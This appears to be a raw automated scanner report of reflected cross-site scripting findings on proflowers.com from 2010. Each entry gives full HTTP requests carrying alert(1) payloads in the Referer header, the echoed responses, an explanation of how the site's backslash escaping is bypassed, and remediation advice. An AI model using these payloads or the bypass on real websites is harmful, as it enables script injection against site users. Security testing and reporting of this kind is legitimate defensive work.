GET /default.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=6c1a8\"%3balert(1)//1ac53cadede
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:05:35 GMT Connection: close Content-Length: 87980
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6589e\"%3balert(1)//2f6d5b7f76a was submitted in the Referer HTTP header. This input was echoed as 6589e\\";alert(1)//2f6d5b7f76a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /dinner-flowers-dnf HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=6589e\"%3balert(1)//2f6d5b7f76a
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:43 GMT Connection: close Content-Length: 74081
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_6589e\\";alert(1)//2f6d5b7f76a";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 473d6\"%3balert(1)//517b8400833 was submitted in the Referer HTTP header. This input was echoed as 473d6\\";alert(1)//517b8400833 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /directFromFields.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=473d6\"%3balert(1)//517b8400833
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:57 GMT Connection: close Content-Length: 67866
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df008\"%3balert(1)//5256b009321 was submitted in the Referer HTTP header. This input was echoed as df008\\";alert(1)//5256b009321 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /discount-flowers-ssv HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=df008\"%3balert(1)//5256b009321
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:42 GMT Connection: close Content-Length: 243788
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_df008\\";alert(1)//5256b009321";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6b19\"%3balert(1)//d30d2c91b30 was submitted in the Referer HTTP header. This input was echoed as f6b19\\";alert(1)//d30d2c91b30 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /employee-favorites-emp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=f6b19\"%3balert(1)//d30d2c91b30
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:13 GMT Connection: close Content-Length: 265352
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_f6b19\\";alert(1)//d30d2c91b30";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eaeb4\"%3balert(1)//39b43424f48 was submitted in the Referer HTTP header. This input was echoed as eaeb4\\";alert(1)//39b43424f48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flower-bouquets-all HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=eaeb4\"%3balert(1)//39b43424f48
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:07 GMT Connection: close Content-Length: 143036
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_eaeb4\\";alert(1)//39b43424f48";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc362\"%3balert(1)//d64a54d1dd1 was submitted in the Referer HTTP header. This input was echoed as fc362\\";alert(1)//d64a54d1dd1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flower-packages-mdp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=fc362\"%3balert(1)//d64a54d1dd1
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:35 GMT Connection: close Content-Length: 142809
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_fc362\\";alert(1)//d64a54d1dd1";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4cbb5\"%3balert(1)//d65a71ca054 was submitted in the Referer HTTP header. This input was echoed as 4cbb5\\";alert(1)//d65a71ca054 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/christmas-flower-decorating/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=4cbb5\"%3balert(1)//d65a71ca054
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:07 GMT Connection: close Content-Length: 79748
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3fd7\"%3balert(1)//ac44d75adce was submitted in the Referer HTTP header. This input was echoed as e3fd7\\";alert(1)//ac44d75adce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/great-ideas-christmas-decorating/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=e3fd7\"%3balert(1)//ac44d75adce
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:08 GMT Connection: close Content-Length: 88504
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0a9f\"%3balert(1)//dcd2f77a00d was submitted in the Referer HTTP header. This input was echoed as d0a9f\\";alert(1)//dcd2f77a00d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
